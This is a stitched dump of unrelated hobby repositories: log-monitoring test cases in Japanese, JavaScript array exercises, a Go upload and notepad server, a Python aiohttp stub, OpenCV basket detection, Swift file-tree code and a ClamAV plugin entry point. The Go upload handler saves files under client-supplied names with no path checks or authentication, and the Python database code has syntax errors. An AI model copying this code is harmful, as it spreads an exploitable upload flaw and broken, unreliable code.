```
出力 (IPは順不同)
10.20.30.2, 10.20.30.3, 10.20.30.4が表示される.
10.20.30.4は最終ログが故障中のため, 故障終わりが継続中となる.
```
IP 故障はじめ 故障終わり 期間
10.20.30.2/16
2020年10月19日13時31分25秒 2020年10月19日13時32分25秒 1分間
10.20.30.3/16
2020年10月19日13時32分26秒 2020年10月29日13時33分31秒 10日1分5秒間
10.20.30.4/16
2020年10月19日13時33分32秒 継続中
```
- [x] test1-3.csv
連続で2度タイムアウトする場合について正しく動作するか確認する.
実行方法
`$python3 q1.py ../test_file/test1-3.csv`
入力
```
20201019133120,10.20.30.1/16,21
20201019133124,10.20.30.2/16,-
20201019133125,10.20.30.3/16,15
20201019133126,10.20.30.1/16,-
20201019133224,10.20.30.2/16,-
20201019133225,10.20.30.3/16,-
20201019133226,10.20.30.1/16,-
20201019133329,10.20.30.2/16,48
20201019133330,10.20.30.3/16,-
20201019133331,10.20.30.1/16,18
```
出力 (IPは順不同)
10.20.30.1, 10.20.30.2, 10.20.30.3が表示される.
10.20.30.3は最終ログが故障中のため, 故障終わりが継続中となる.
```
IP 故障はじめ 故障終わり 期間
10.20.30.1/16
2020年10月19日13時31分26秒 2020年10月19日13時33分31秒 2分5秒間
10.20.30.2/16
2020年10月19日13時31分24秒 2020年10月19日13時33分29秒 2分5秒間
10.20.30.3/16
2020年10月19日13時32分25秒 継続中
```
- [x] test1-4.csv
連続で3回タイムアウトする場合について正しく動作するか確認する.
実行方法
`$python3 q1.py ../test_file/test1-4.csv`
入力
```
20201019133126,10.20.30.1/16,35
20201019133224,10.20.30.2/16,-
20201019133225,10.20.30.3/16,28
20201019133226,10.20.30.1/16,-
20201019133329,10.20.30.2/16,-
20201019133330,10.20.30.3/16,-
20201019133331,10.20.30.1/16,-
20201019133424,10.20.30.2/16,-
20201019133425,10.20.30.3/16,-
20201019133426,10.20.30.1/16,-
20201019133524,10.20.30.2/16,18
20201019133525,10.20.30.3/16,-
20201019133526,10.20.30.1/16,20
```
出力 (IPは順不同)
10.20.30.1, 10.20.30.2, 10.20.30.3が表示される.
10.20.30.3は最終ログが故障中のため, 故障終わりが継続中となる.
```
IP 故障はじめ 故障終わり 期間
10.20.30.1/16
2020年10月19日13時32分26秒 2020年10月19日13時35分26秒 3分間
10.20.30.2/16
2020年10月19日13時32分24秒 2020年10月19日13時35分24秒 3分間
10.20.30.3/16
2020年10月19日13時33分30秒 継続中
```
- [x] test1-5.csv
2度以上故障する場合について正しく動作するか確認する.
実行方法
`$python3 q1.py ../test_file/test1-5.csv`
入力
```
20201019133134,192.168.1.1/24,-
20201019133135,192.168.1.2/24,14
20201019133136,192.168.1.1/24,10
20201019133137,192.168.1.2/24,-
20201019133138,192.168.1.1/24,-
20201019133139,192.168.1.2/24,13
20201019133140,192.168.1.1/24,10
20201019133141,192.168.1.2/24,-
20201019133142,192.168.1.1/24,-
20201019133143,192.168.1.2/24,11
```
出力 (IPは順不同)
192.168.1.1, 192.168.1.2が表示される.
192.168.1.1は3回,
192.168.1.2は2回故障している.
192.168.1.1は最終ログが故障中のため, 最後の故障終わりが継続中となる.
```
IP 故障はじめ 故障終わり 期間
192.168.1.1/24
2020年10月19日13時31分34秒 2020年10月19日13時31分36秒 2秒間
2020年10月19日13時31分38秒 2020年10月19日13時31分40秒 2秒間
2020年10月19日13時31分42秒 継続中
192.168.1.2/24
2020年10月19日13時31分37秒 2020年10月19日13時31分39秒 2秒間
2020年10月19日13時31分41秒 2020年10月19日13時31分43秒 2秒間
```
| c444997e83ef7e88f6b617a324e7ac66541c1574 | [
"Markdown",
"Python"
] | 7 | Markdown | YoheiSaito/LogMonitoring | c951055a80fd4dc13472b955f394211b147a05b2 | 1386c8122e187874331307f519af7c87925d1c10 |
refs/heads/master | <file_sep>package com.main.test;
import org.junit.Assert;
import org.junit.Test;
import com.main.java.AreaTriangle;
public class AreaTriangleTest {
AreaTriangle at = new AreaTriangle();
@Test
public final void test() {
Assert.assertTrue("pass", at.findArea());
}
}
| f2af69a7d65191daa898baacbfe6f0907d35c8e5 | [
"Java"
] | 1 | Java | phil-rice/Assignment-for-ING | 1494449ab15e995eddaabfe32978f5b103d3eb58 | 8b5c01388a5ce57ffa4797846cede53ddc2ca31b |
refs/heads/master | <repo_name>obchodniuspech/openshift_test<file_sep>/index.php
<?php
echo "test ahoj";
echo Date("d.m.Y, H:i:s");
echo "fuck you"; | ccc019d37d84bc41b9fa7bd57d23b922e694b200 | [
"PHP"
] | 1 | PHP | obchodniuspech/openshift_test | ae038153aaaa4454d8b837a0ff7fedbc790889df | 9ce50cce1116bddd46f9807eb133f825756fc584 |
refs/heads/master | <file_sep>package templ
const NoteTemp = `<!doctype html>
<html>
<head>
<title>notepad</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0">
<style type="text/css">
html, body {
margin: 0px;
width: 100%;
height: 100%;
}
body {
background-color: #444444;
caret-color: #E91E63;
overflow:hidden;
}
#save_fab {
z-index: 99;
display: block;
position: fixed;
width: 56px;
height: 56px;
bottom: 24px;
right: 24px;
background-color: #E91E63;
border-radius: 50%;
box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 1px 5px 0 rgba(0, 0, 0, 0.12), 0 3px 1px -2px rgba(0, 0, 0, 0.2);
}
#save_fab:hover {
cursor: pointer;
}
#save_fab:focus {
outline:none !important;
}
#save_fab:active {
background-color: #b40c45;
outline:none !important;
}
#save_icon {
border-style:none;
display: inline-block;
width: 56px;
height: 56px;
background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAxklEQVR4Ae3TAQYCQRTG8UFUABvRBSIBqHt0gugK0REmC1vtXQJoQGOsvdP0YbBWnjGzvSzv8QN89m8Z1T85Oe99ARVYaDMY2KYE3DM/nBeBgQvjJ5QJ8iI6Q60Sjv4T/AF0BGdAYP4bAOMIyCYBEsAQ0ICGQ3CFhivgDbsvuz1YjoAjsT1xBCyJ7YojYEJspxwBa2K74QjQxLbkeoZnmHU2c7gM9QxdZMQLHlCDidzYmIAa2h+pYgIWIcIN+GEHNyhU7+TkPurjyU/FgJkDAAAAAElFTkSuQmCC) center no-repeat;
}
.container {
position: absolute;
top: 20px;
right: 20px;
bottom: 20px;
left: 20px;
}
#content {
font-size: 16px;
margin: 0;
padding: 20px;
overflow-y: auto;
color: #fff;
resize: none;
width: 100%;
height: 100%;
background-color: #303030;
min-height: 100%;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
border: 1px #ddd solid;
outline: none;
}
</style>
</head>
<body>
<div>
<form action="/save" method="post" id="save" target="n_frame">
<div id="save_fab">
<input type="submit" id="save_icon" value=""/>
</div>
</form>
<div class="container" form="save">
<textarea id="content" oninput="formSubmit()" name="note" form="save" autocomplete="off" spellcheck="false" autocapitalize="off">{{.}}</textarea>
</div>
<iframe id="id_iframe" name="n_frame" style="display:none;"></iframe>
</div>
<script type="text/javascript">
function formSubmit(){
document.getElementById("save").submit()
}
</script>
</body>
</html>`
<file_sep>#!/usr/bin/env bash
if [ ! -f install ]; then
echo 'install must be run within its container folder' 1>&2
exit 1
fi
CURDIR=`pwd`
OLDGOPATH="$GOPATH"
export GOPATH="$CURDIR"
OLDGOOS="$GOOS"
export GOOS="windows"
OLDCGO_ENABLED="$GOPATH"
export CGO_ENABLED="0"
gofmt -w src
go install upload
export GOPATH="$OLDGOPATH"
export CGO_ENABLED="$OLDCGO_ENABLED"
export GOOS="$OLDGOOS"
echo 'finished'
<file_sep>package templ
const UploadTemp = `<html>
<head>
<title>上传文件</title>
<script src="https://cdn.jsdelivr.net/npm/dropzone@5.7.0/dist/dropzone.js"></script>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/dropzone@5.7.0/dist/dropzone.css">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<style>
body {
background: #adc865;
height: 100%;
color: #333;
line-height: 1.4rem;
font-family: Roboto, "Open Sans", sans-serif;
font-size: 20px;
font-weight: 300;
text-rendering: optimizeLegibility;
}
div {
text-align: center;
}
.dropzone {
background: #89d5c9;
border-radius: 5px;
border: 2px dashed rgb(0, 135, 247);
border-image: none;
max-width: 500px;
margin-left: auto;
margin-right: auto;
}
</style>
<body>
<form enctype="multipart/form-data" action="/upload" method="post" class="dropzone" id="upload" >
<div class="fallback">
<input type="file" name="uploadfile" multiple/>
</div>
</form>
<div>
<a href="https://alycolas.pw/file/upload">查看文件</a>
</div>
<script>
var upload = new Dropzone("#upload", {
url: "/upload",
paramName: "uploadfile",
maxFilesize: 100,
timeout: 190000,
dictDefaultMessage: "拖拽文件或点击长传"
});
</script>
</body>
</html>`
<file_sep>package main
import (
"crypto/md5"
"fmt"
"html/template"
"io"
"io/ioutil"
"net/http"
"os"
"strconv"
"time"
//"strings"
"flag"
"log"
"templ"
)
var (
noteFile string
uploadDir string
local string
port string
)
func init() {
flag.StringVar(¬eFile, "n", "/var/www/note.db", "指定 note 文件")
flag.StringVar(&uploadDir, "u", "/var/www/file/upload/", "指定上传目录")
flag.StringVar(&local, "l", "127.0.0.1", "指定监听地址")
flag.StringVar(&port, "p", "9090", "指定端口")
}
// func sayhelloName(w http.ResponseWriter, r *http.Request) {
// r.ParseForm()
// fmt.Println(r.Form)
// fmt.Println("path", r.URL.Path)
// fmt.Println("scheme", r.URL.Scheme)
// fmt.Println(r.Form["url_long"])
// for k, v := range r.Form {
// fmt.Println("key:", k)
// fmt.Println("val:", strings.Join(v, ""))
// }
// fmt.Fprintf(w, "Hello World!") // 这个写入到 w 的是输出到客户端的
// }
// 处理 /note
func note(w http.ResponseWriter, r *http.Request) {
fmt.Println("method:", r.Method)
if r.Method == "GET" {
note, _ := ioutil.ReadFile(noteFile)
t, _ := template.New("note").Parse(templ.NoteTemp)
t.Execute(w, string(note))
}
}
func save(w http.ResponseWriter, r *http.Request) {
newNote := r.FormValue("note")
err := ioutil.WriteFile(noteFile, []byte(newNote), 0666)
if err != nil {
fmt.Println("can not update note")
return
}
}
// 处理 /upload
func upload(w http.ResponseWriter, r *http.Request) {
fmt.Println("method:", r.Method)
if r.Method == "GET" {
crutime := time.Now().Unix()
h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
token := fmt.Sprintf("%x", h.Sum(nil))
t, _ := template.New("upload").Parse(templ.UploadTemp)
t.Execute(w, token)
} else {
r.ParseMultipartForm(32 << 20)
file, handler, err := r.FormFile("uploadfile")
if err != nil {
fmt.Println(err)
return
}
defer file.Close()
fmt.Fprintf(w, "%v", handler.Header)
f, err := os.OpenFile(uploadDir+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666)
if err != nil {
fmt.Println(err)
return
}
defer f.Close()
io.Copy(f, file)
}
}
func main() {
flag.Parse()
// http.HandleFunc("/", sayhelloName)
http.HandleFunc("/upload", upload)
http.HandleFunc("/", note)
http.HandleFunc("/save", save)
err := http.ListenAndServe(local+":"+port, nil) // 设置监听的端口
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
}
<file_sep>#!/usr/bin/env bash
if [ ! -f install ]; then
echo 'install must be run within its container folder' 1>&2
exit 1
fi
CURDIR=`pwd`
OLDGOPATH="$GOPATH"
export GOPATH="$CURDIR"
gofmt -w src
go install upload
export GOPATH="$OLDGOPATH"
cp bin/upload /usr/local/bin/
cp init/upload.service /etc/systemd/system/
echo 'finished'
<file_sep># http upload and web notepad tool write by golang
| 参数 | 内容 |
| :--: | :--- |
| -l | 指定监听地址 (default "127.0.0.1") |
| -n | 指定 note 文件 (default "/var/www/note.db") |
| -p | 指定端口 (default "9090") |
| -u | 指定上传目录 (default "/var/www/file/upload/") |
| fdb4140ae77a259b3598a6ad2167df4dc62b8820 | [
"Markdown",
"Go",
"Shell"
] | 6 | Go | alycolas/upload | 533330b64783e23188a900538a685f02e5823ee5 | a44062159c7d69888a0ff6198d2f524f54550bd5 |
refs/heads/master | <repo_name>xiaomingCQ/awesome-python3-webapp<file_sep>/readme.txt
this is a learning python program
this if from 廖雪峰
<file_sep>/www/app.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
__author__="haiming"
import logging;logging.basicConfig(level=logging.INFO)
import asyncio,os,json,time
from datetime import datetime
from aiohttp import web
def index(reguest):
return web.Response(body=b'<h1>Awesome</h1>')
@asyncio.coroutine
def init(loop):
app=web.Application(loop=loop)
app.router.add_route('GET','/',index)
srv=yield from loop.create_server(app.make_handler(),'127.0.0.1',9000)
logging.info('server started at http://127.0.0.1:9000...')
return srv
loop = asyncio.get_event_loop()
loop.run_until_complete(init(loop))
loop.run_forever()
@asyncio.coroutine
def create__pool(loop,**kw):
logging.info('create database connection pool...')
global __pool
__pool=yield from aiomysql.create__pool(
host=kw.get('host','localhost')
port=kw.get('port',3306)
user=kw['user']
password=kw['<PASSWORD>']
db=kw['db']
charset=kw.get('charset',utf8)
autocommit=kw.get('autocommit',True)
maxsize=kw.get('maxsize', 10),
minsize=kw.get('minsize', 1),
loop=loop
)
@asyncio.coroutine
def select(sql,args,size=None):
log(sql,args)
global __pool
with (yield from __pool)as conn:
cur=yield from conn.cursor(aiomysql.DictCursor)
yield from cur.execute(sql.replace('?','%s',args or ()))
if size:
rs=yield from cur.fetchmany(size)
else:
rs=rs = yield from cur.fetchall()
yield from cur.close()
logging.info('rows returned: %s' % len(rs))
return rs
| a5e1ef8d1a2cf36dba0f0a3e5437afc5b12c1f58 | [
"Python",
"Text"
] | 2 | Text | xiaomingCQ/awesome-python3-webapp | 18309087ef4efe515d3c7d947673cdf68709a76b | f819ff8237552705ee5700436184fcb462273ba8 |
refs/heads/main | <repo_name>Desperate666/verify-basket<file_sep>/源.cpp
#include<iostream>
#include<string>
#include<opencv2/opencv.hpp>
#include<opencv2/core/core.hpp>
#include<opencv2\imgproc\types_c.h>
using namespace cv;
using namespace std;
void Blue_Bar(Mat& image, Mat& Bar0)
{
Mat bgr;
Mat hsv;
//灰度值归一化
image.convertTo(bgr, CV_32FC3, 1.0 / 255, 0);
//颜色空间转换
cvtColor(bgr, hsv, COLOR_BGR2HSV);
//利用上下限提取出的目标物体,并进行二值化处理
inRange(hsv, Scalar(210, 0.627450980392156, 0.215686274509803),Scalar(230, 0.901960784313725, 0.529411764705882), Bar0);
//开操作,去除噪点
Mat elem0 = getStructuringElement(MORPH_RECT, Size(3, 3));
morphologyEx(Bar0, Bar0, MORPH_OPEN, elem0);
//闭操作,连接连通域
Mat elem1 = getStructuringElement(MORPH_RECT, Size(8, 8));
morphologyEx(Bar0, Bar0, MORPH_CLOSE, elem1);
//开操作,去除噪点
Mat elem2 = getStructuringElement(MORPH_RECT, Size(6, 6));
morphologyEx(Bar0, Bar0, MORPH_OPEN, elem2);
}
void Red_Bar(Mat& image, Mat& Bar0)
{
Mat bgr;
Mat hsv;
//灰度值归一化
image.convertTo(bgr, CV_32FC3, 1.0 / 255, 0);
//颜色空间转换
cvtColor(bgr, hsv, COLOR_BGR2HSV);
inRange(hsv, Scalar(0, 0.549019607843137, 0.411764705882352),Scalar(19, 0.823529411764705, 0.627450980392156), Bar0);
//开操作,去除噪点
Mat elem0 = getStructuringElement(MORPH_RECT, Size(3, 3));
morphologyEx(Bar0, Bar0, MORPH_OPEN, elem0);
//闭操作 ,连接连通域
Mat elem1 = getStructuringElement(MORPH_RECT, Size(10, 10));
morphologyEx(Bar0, Bar0, MORPH_CLOSE, elem1);
//开操作,去除噪点
Mat elem2 = getStructuringElement(MORPH_RECT, Size(6, 6));
morphologyEx(Bar0, Bar0, MORPH_OPEN, elem2);
}
int main()
{
Mat src = imread("7_Color.png",2|4);
Mat Blue0(src.size(), CV_32FC3);
Mat Red0(src.size(), CV_32FC3);
Blue_Bar(src, Blue0);
Red_Bar(src, Red0);
/////////////////////////////////以下两种方法可以直接替换//////////////////////////////////
//////////////////以下是直接在加工后二值化的图上找轮廓,然后在原图上画轮廓的方法///////////
//////////////////////////////////但是此种方法的精准度不太高////////////////////////////
vector<vector<Point>>contours1;
vector<Vec4i>hierarchy1;
findContours(Blue0, contours1, hierarchy1, RETR_CCOMP, CHAIN_APPROX_NONE);
drawContours(src, contours1, -1, Scalar(0, 0, 255), 3);
//中心点
for (int i = 0; i < 4; i++)
{
RotatedRect rects1 = minAreaRect(contours1[i]);
rectangle(src, rects1.center, rects1.center, Scalar::all(255), 2, 8, 0);
}
vector<vector<Point>>contours2;
vector<Vec4i>hierarchy2;
findContours(Red0, contours2, hierarchy2, RETR_CCOMP, CHAIN_APPROX_NONE);
drawContours(src, contours2, -1, Scalar(255, 0, 0), 3);
//中心点
for (int i = 0; i < 4; i++)
{
RotatedRect rects2 = minAreaRect(contours2[i]);
rectangle(src, rects2.center, rects2.center, Scalar::all(255), 2, 8, 0);
}
//////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////以下是用矩形框出的方法////////////////////////////////
////////////////////////////////此种方法较为精准//////////////////////////////////////
//Mat blue(src.size(), CV_8UC3);
//Mat red(src.size(), CV_8UC3);
//mask_Blue0.convertTo(blue, CV_8UC3);
//mask_Red0.convertTo(red, CV_8UC3);
////蓝桶轮廓提取
//vector<vector<Point>> contours_B;
//vector<Vec4i> hierarchy_B;
//findContours(blue, contours_B, hierarchy_B, RETR_EXTERNAL, CHAIN_APPROX_SIMPLE);
//Point2f blue_pts[4];
//for (int i = 0; i < contours_B.size(); i++)
//{
// //选取倾斜包覆矩形最小集中包围盒,确定旋转矩阵的四个顶点,并画框
// RotatedRect rects1 = minAreaRect(contours_B[i]);
// rects1.points(blue_pts);
// line(src, blue_pts[0], blue_pts[1], Scalar(0, 0, 255), 2);
// line(src, blue_pts[1], blue_pts[2], Scalar(0, 0, 255), 2);
// line(src, blue_pts[2], blue_pts[3], Scalar(0, 0, 255), 2);
// line(src, blue_pts[3], blue_pts[0], Scalar(0, 0, 255), 2);
// //中心点
// rectangle(src, rects1.center, rects1.center, Scalar::all(255), 2, 8, 0);
//}
////红桶轮廓提取
//vector<vector<Point>> contours_R;
//vector<Vec4i> hierarchy_R;
//findContours(red, contours_R, hierarchy_R, RETR_EXTERNAL, CHAIN_APPROX_SIMPLE);
//
//Point2f red_pts[4];
//for (int j = 0; j < contours_R.size(); j++)
//{
// //选取倾斜包覆矩形最小集中包围盒,确定旋转矩阵的四个顶点,并画框
// RotatedRect rects2 = minAreaRect(contours_R[j]);
// rects2.points(red_pts);
// line(src, red_pts[0], red_pts[1], Scalar(255, 0, 0), 2);
// line(src, red_pts[1], red_pts[2], Scalar(255, 0, 0), 2);
// line(src, red_pts[2], red_pts[3], Scalar(255, 0, 0), 2);
// line(src, red_pts[3], red_pts[0], Scalar(255, 0, 0), 2);
// //中心点
// rectangle(src, rects2.center, rects2.center, Scalar::all(255), 2, 8, 0);
//}
////////////////////////////////////////////////////////////////////////////////////
imshow("...", src);
waitKey(0);
return 0;
}
| 57b55cb3860c7549ac144d42bf30a4e996eac12a | [
"C++"
] | 1 | C++ | Desperate666/verify-basket | 5e144c0735eb195587bc60a6bc2e4c9da7614c8b | 26b878dcad780bb318d59656b6829dc01bfbffa4 |
refs/heads/master | <repo_name>DeveloperJoseph/JAVASCRIPT-FOR-PROFESIONALS<file_sep>/JAVASCRIPT-1/JAVASCRIPT/web/SCRIPT/ejemplo10.js
//** Infinity and -Infinity **//
//1.-
Math.pow(1918918, 919191);//Infinity
let ejemplo1 = "Math.pow(1918918, 919191); //Nos devuelve un valor infinito";
document.getElementById("demo").innerHTML = "Ejemplo 1: " + ejemplo1;
//2.-
Number.MAX_VALUE * 2;//Infinity
let ejemplo2 = "Number.MAX_VALUE * 2; //Nos retornar un valor Infinity";
document.getElementById("demo1").innerHTML = "Ejemplo 2: " + ejemplo2;
//3.-
let x = 23 / Infinity;//0
let ejemplo3 = "let x = 23 / Infinity; //Nos retorna un valor 0";
document.getElementById("demo2").innerHTML = "Ejemplo 3: " + ejemplo3;
//4.-
-Infinity === Number.NEGATIVE_INFINITY;//true
let ejemplo4 = "-Infinity === Number.NEGATIVE_INFINITY;//Nos retorna true";
document.getElementById("demo3").innerHTML = "Ejemplo 4: " + ejemplo4;
//5.-
1 / -0;//-Infinity
let ejemplo5 = "1 / -0; //Nos retornará un valor -Infinity";
document.getElementById("demo4").innerHTML = "Ejemplo 5: " + ejemplo5;
//6.-
Infinity + Infinity;//Infinity
let ejemplo6 = "Infinity + Infinity; //Nos retornará un valor Infinity";
document.getElementById("demo5").innerHTML = "Ejemplo 6: " + ejemplo6;
//** NUMBER CONSTANTS **//
Number.MAX_VALUE;// = 1.7976931348623157e+308
Number.MAX_SAFE_INTEGER;// = 9007199254740991
Number.MIN_VALUE; // 5e-324
Number.MIN_SAFE_INTEGER; // -9007199254740991 Number.EPSILON;
Number.POSITIVE_INFINITY; // Infinity Number.NEGATIVE_INFINITY; // -Infinity
Number.NaN; // NaN
//** Operations that return NaN **//
//Mathematical operations on values other than numbers return NaN:
"a" + 1;//return NaN
"b" * 3;//return NaN
"cde" - "e";//return NaN
[1, 2, 3] * 2;//return NaN
//An exception: Single-number arrays:
[2] * [3]; // Returns 6
//Also, remember that the + operator concatenates strings:
"a" + "b"; // Returns "ab"
//Dividing zero by zero returns NaN:
0 / 0;// return NaN , * Note: In mathematics generally (unlike in JavaScript programming),
// dividing by zero is not possible<file_sep>/JAVASCRIPT-1/JAVASCRIPT/web/SCRIPT/ejemplo5.js
//Usando empalme () para eliminar elementos:
//Con la configuración de parámetros inteligente, puede utilizar empalme ()
// para eliminar elementos sin dejar "agujeros" en la matriz:
let namesAnimals = ["Cat", "Lion", "Rabbit", "Dog"];
document.getElementById("salidaArray").innerHTML =
"MI LISTA DE ANIMALES: " + namesAnimals;
function miArray5(){
namesAnimals.splice(0,1);//eliminado el primer item de mi array = CAT
document.getElementById("newSalidaArray").innerHTML =
"MI NUEVA LISTA DE ANIMALES: "+namesAnimals;
}
<file_sep>/JAVASCRIPT-1/JAVASCRIPT/web/SCRIPT/ejemplo1.js
//EJEMPLOS MÉTODOS DE ARREGLO DE JAVASCRIPT 1
//Una matriz es una variable especial, que puede contener más de un valor a la vez.
function miArray1() {//declaro mi funcion miArray1
let name = String(prompt("What's your name?"));//Consulta de nombre con mi método String(prompt());
let name_fruit = String(prompt("Enter your favorite fruit"));//Consulta de nombre fruta con mi método String(prompt());
let fruits = ["Banana", "Orange", "Apple", "Watermelon", "Mango"];//inicio mi array frutas con 0-4 = 5 items
fruits.push(name_fruit);//agregando nueva fruta a nuestro array (agregar = push() & eliminar = pop())
document.getElementById("salidaNameDate").innerHTML =
"Hola, ".concat(name, ". Hoy es: "+Date());//salida de valor mi variable name
document.getElementById("salidaArray1").innerHTML =
"FRUTAS EN INGLES: " + fruits.join(" - ");//salida de valores de mi array frutas + método join ("-")
document.getElementById("lengthArray").innerHTML =
"NRO. DE LISTA DE FRUTAS: " + fruits.length;//salida de length de mi array
};
<file_sep>/JAVASCRIPT-1/JAVASCRIPT/web/SCRIPT/ejemplo9.js
// undefined and null //
//A variable when it is declared but not assigned a value (i.e. defined)
let foo;
console.log("Is Foo undefined?", foo === undefined);//true
//Accessing the value of a property that doesn't exist
let foo2 = {a:"First Value"};
console.log("Is Foo2 undefined?", foo2.b === undefined);//true
//The return value of a function that doesn't return a value
function foo3() {
return;
}
console.log("Is Foo3 undefined?", foo3() === undefined);//true
//The value of a function argument that is declared but has been omitted from the function call
function foo4(param){
console.log("Is Foo4 undefined?", param === undefined);
}
foo4('a');//false
foo4();//true
<file_sep>/JAVASCRIPT-1/JAVASCRIPT/web/SCRIPT/ejemplo8.js
// ARRAYS AND OBJECTS
let myArray = ["<NAME> ", " <NAME>", " <NAME>"];
window.alert(myArray.toString());
//objetos javaScript
let rabbit = {firstName: "Cone", lastName: "Bad", fullName: "<NAME>"};
let dog = {firstName: "Bill", lastName: "Dogk", fullName: "<NAME>"};
//Salida de propiedad "fullName" de mi objetos con el metodo windows.alert();
window.alert("Name Rabbit: "+rabbit.fullName);
window.alert("Name Dog: "+dog.fullName);
<file_sep>/JAVASCRIPT-1/JAVASCRIPT/web/SCRIPT/ejemplo4.js
//Empalme de una matriz:
//El método splice () se puede usar para agregar nuevos elementos a una matriz:
/*
*
El primer parámetro (2) define la posición en la que se deben agregar nuevos elementos (empalmados).
El segundo parámetro (0) define cuántos elementos se deben eliminar .
El resto de los parámetros ("Limón", "Kiwi") definen los nuevos elementos que se agregarán .
*
*/
function miArray4() {
let x = String(prompt("Ingresa nombre fruta 1: "));
let y = String(prompt("Ingresa nombre fruta 2: "));
let fruits = ["Banana", "Orange", "Apple", "Mango"];
fruits.splice(2, 0, x, y);
document.getElementById("salida1").innerHTML =
"LISTA DE MI NUEVO ARRAY: " + fruits;
} | 51c6ad38aa9c78da804b21aba52f9956306ebb97 | [
"JavaScript"
] | 6 | JavaScript | DeveloperJoseph/JAVASCRIPT-FOR-PROFESIONALS | 762c34cae3ddfb4f9f882fc504c1b886dfb0602e | d9ab62fa6a417c392615b2d220e5862d029109e0 |
refs/heads/master | <file_sep>//
// File.swift
// MyTreeMap
//
// Created by <NAME> on 7/26/16.
// Copyright © 2016 <NAME>. All rights reserved.
//
import Foundation
struct File {
var fileName:String
var size:Int
var path: String
init(fileName: String, size: Int, path: String) {
self.fileName = fileName
self.size = size
self.path = path
}
}<file_sep>//
// MyTreeMapTests.swift
// MyTreeMapTests
//
// Created by <NAME> on 7/26/16.
// Copyright © 2016 <NAME>. All rights reserved.
//
import Quick
import Nimble
class TableOfContentsSpec: QuickSpec {
override func spec() {
describe("the 'Documentation' directory") {
it("has everything you need to get started") {
}
}
}
}<file_sep>//: Playground - noun: a place where people can play
import Cocoa
struct File: Hashable {
let size: Int
let path: String
let name: String
let type: String
init(name: String, path: String, size: Int, type: String) {
self.name = name
self.path = path
self.size = size
self.type = type
}
var hashValue: Int { get { return "\(path)/\(name)".hashValue } }
}
func ==(lhs:File, rhs:File) -> Bool {
return lhs.hashValue == rhs.hashValue
}
class Node<T: Hashable> : Hashable {
var parent: Node?
var children: [Node] = []
var value: T
init(value: T) {
self.value = value
}
var hashValue: Int { get { return value.hashValue } }
}
func ==<T>(lhs:Node<T>, rhs:Node<T>) -> Bool {
return lhs.hashValue == rhs.hashValue
}
//struct Node: Hashable {
// var file: File
// var hashValue: Int { get { return self.file.name.hashValue } }
// init(file: File) {
// self.file = file
// }
//}
//
//func ==(lhs:Node, rhs:Node) -> Bool {
// return lhs.hashValue == rhs.hashValue
//}
//
//enum Tree<Element: Hashable> {
// case Empty
// case Node(Element, [Tree<Element>])
//}
func DFS_docs(path: String, current: Node<File>?) {
if let _ = current {
if current?.value.type != "NSFileTypeDirectory" {
return
}
}
let fileManager = FileManager()
do {
let contents = try fileManager.contentsOfDirectory(atPath: path)
for document in contents {
let newPath = "\(path)/\(document)"
let attrs = try fileManager.attributesOfItem(atPath: newPath) as NSDictionary
print("\(document) : \(attrs.fileType()) : \(attrs.fileSize()) bytes")
let file = File(name: document,
path: path,
size: Int(attrs.fileSize()),
type: attrs.fileType()!)
let node = Node<File>(value: file)
current?.children.append(node)
DFS_docs(path: newPath, current: node)
}
}
catch { print(error) }
return
}
func DFS_size(node: Node<File>) -> Int {
var result = node.value.size
for child in node.children {
result += DFS_size(node: child)
}
return result
}
let fileManager = FileManager()
//var documentsPath = NSSearchPathForDirectoriesInDomains(.UserDirectory,
// .AllDomainsMask,
// true)
//let path = "/Users/maxrogers/dev/MyTreeMap/MyTreeMap/ExplorativeTree"
let path = "/Users/maxrogers/dev/MyTreeMap/MyTreeMap"
let root = Node(value: File(name: "", path: "", size: 0,
type: "NSFileTypeDirectory"))
DFS_docs(path: path, current: root)
print("\(DFS_size(node: root)) bytes")
| f4af1941981cfcd2390e4a17b29245f83d89425c | [
"Swift"
] | 3 | Swift | maxerogers/MyTreeMap | 6c38a446db5d15256bea10eddfe58798921d3003 | 20048b1a9ec716a80b5be1ba09d4ba79e3564bdb |
refs/heads/master | <repo_name>worlvlhole/clamav-plugin<file_sep>/cmd/main.go
package main
import (
"strings"
"log/syslog"
"github.com/ncw/rclone/fs"
"github.com/spf13/viper"
log "github.com/sirupsen/logrus"
lSyslog "github.com/sirupsen/logrus/hooks/syslog"
"github.com/hashicorp/go-plugin"
_ "github.com/ncw/rclone/backend/local"
_ "github.com/ncw/rclone/backend/swift"
"github.com/worlvlhole/maladapt/pkg/quarantine"
"github.com/worlvlhole/maladapt/pkg/plugin"
"github.com/worlvlhole/maladapt/pkg/plugin/avscan"
"github.com/worlvlhole/clamav-plugin/internal/clamav"
)
const (
envPrefix = "MAL"
)
func main() {
log.SetFormatter(&log.JSONFormatter{})
hook, err := lSyslog.NewSyslogHook("", "", syslog.LOG_DEBUG, "virustotal")
if err != nil {
log.Error("could not setup syslog logger")
} else {
log.AddHook(hook)
}
log.Info("Starting clamav plugin")
replacer := strings.NewReplacer(".", "_")
viper.SetEnvKeyReplacer(replacer)
viper.SetEnvPrefix(envPrefix)
viper.AutomaticEnv()
avCfg := avscan.NewConfigurationFromViper(viper.GetViper())
if err := avCfg.Validate(); err != nil {
log.Fatal(err)
}
theFs, err := fs.NewFs(avCfg.QuarantineConfig.Path)
if err != nil {
log.Fatal(err)
}
//Parser
parser := clamav.NewParser()
//Verifier
verifier := clamav.NewVerifier()
//Quarantiner
quarantine := quarantine.NewQuarantine(avCfg.QuarantineConfig, theFs)
//Scanner
scanner := avscan.NewScanner(
avCfg.ProgramName,
avCfg.ProgramPath,
avCfg.ProgramArgs,
avCfg.LocalQuarantineZone,
avCfg.ScanTimeout,
parser,
verifier,
quarantine,
)
pluginMap := map[string]plugin.Plugin{
"av_scanner": &plugins.AVScannerGRPCPlugin{Impl: scanner},
}
